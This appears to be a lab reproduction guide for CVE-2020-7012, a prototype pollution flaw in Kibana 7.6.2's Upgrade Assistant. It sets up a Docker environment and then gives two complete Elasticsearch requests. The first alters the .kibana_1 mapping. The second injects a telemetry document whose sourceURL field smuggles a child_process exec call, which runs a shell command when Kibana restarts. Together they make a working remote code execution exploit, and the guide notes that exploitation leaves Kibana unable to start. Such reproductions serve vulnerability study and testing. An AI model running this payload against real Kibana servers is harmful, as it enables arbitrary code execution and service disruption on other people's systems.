Kibana 7.6.2 upgrade-assistant-telemetry Prototype Pollution Leads to RCE (CVE-2020-7012)

中文版本(Chinese version)

Kibana is an open source data visualization dashboard for Elasticsearch.

Kibana versions between 6.7.0 to 6.8.8 and 7.0.0 to 7.6.2 contain a prototype pollution flaw in the Upgrade Assistant. An authenticated attacker with privileges to write to the Kibana index could insert data that would cause Kibana to execute arbitrary code. This could possibly lead to an attacker executing code with the permissions of the Kibana process on the host system.

References:

Setup

Start Kibana 7.6.2 and Elasticsearch 7.6.2 using Docker:

docker compose up -d

Once the environment is running, Kibana will be accessible at http://your-ip:5601.

Vulnerability Reproduction

The remote code execution occurs when Kibana reading the upgrade-assistant-telemetry attribute of the saved object from Elasticsearch. So you can exploit this vulnerability by sending data directly to Elasticsearch or submitting queries through Kibana. Execution will occur either after Kibana is restarted or when data collection takes place (at an unknown time).

To reproduce the vulnerability, first go to the developer tools of the Kibana UI (the URL is http://your-ip:5601/app/kibana#/dev_tools/console), then send the following request to modify Kibana mappings to allow the custom upgrade-assistant-telemetry document:

PUT /.kibana_1/_mappings
{
  "properties": {
    "upgrade-assistant-telemetry": {
      "properties": {
        "constructor": {
          "properties": {
            "prototype": {
              "properties": {
                "sourceURL": {
                  "type": "text",
                  "fields": {
                    "keyword": {
                      "type": "keyword",
                      "ignore_above": 256
                    }
                  }
                }
              }
            }
          }
        },
        "features": {
          "properties": {
            "deprecation_logging": {
              "properties": {
                "enabled": {
                  "type": "boolean",
                  "null_value": true
                }
              }
            }
          }
        },
        "ui_open": {
          "properties": {
            "cluster": {
              "type": "long",
              "null_value": 0
            },
            "indices": {
              "type": "long",
              "null_value": 0
            },
            "overview": {
              "type": "long",
              "null_value": 0
            }
          }
        },
        "ui_reindex": {
          "properties": {
            "close": {
              "type": "long",
              "null_value": 0
            },
            "open": {
              "type": "long",
              "null_value": 0
            },
            "start": {
              "type": "long",
              "null_value": 0
            },
            "stop": {
              "type": "long",
              "null_value": 0
            }
          }
        }
      }
    }
  }
}

Then send the second request to inject the malicious telemetry document:

PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry
{
  "upgrade-assistant-telemetry": {
    "ui_open.overview": 1,
    "ui_open.cluster": 1,
    "ui_open.indices": 1,
    "constructor.prototype.sourceURL": "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('touch /tmp/success')"
  },
  "type": "upgrade-assistant-telemetry",
  "updated_at": "2020-04-17T20:47:40.800Z"
}

update kibana mappings

Finally, you need to wait for a while for your payload to execute. If you don't want to wait, you can restart the Kibana server by docker compose restart kibana, and the malicious code will be executed after the service restarts.

As you can see, touch /tmp/success will be executed after the service restarts:

index doc status

Important note: After the exploitation, Kibana will crash and not able to start. You have to delete the .kibana_1 index from ElasticSearch to restore the functionality.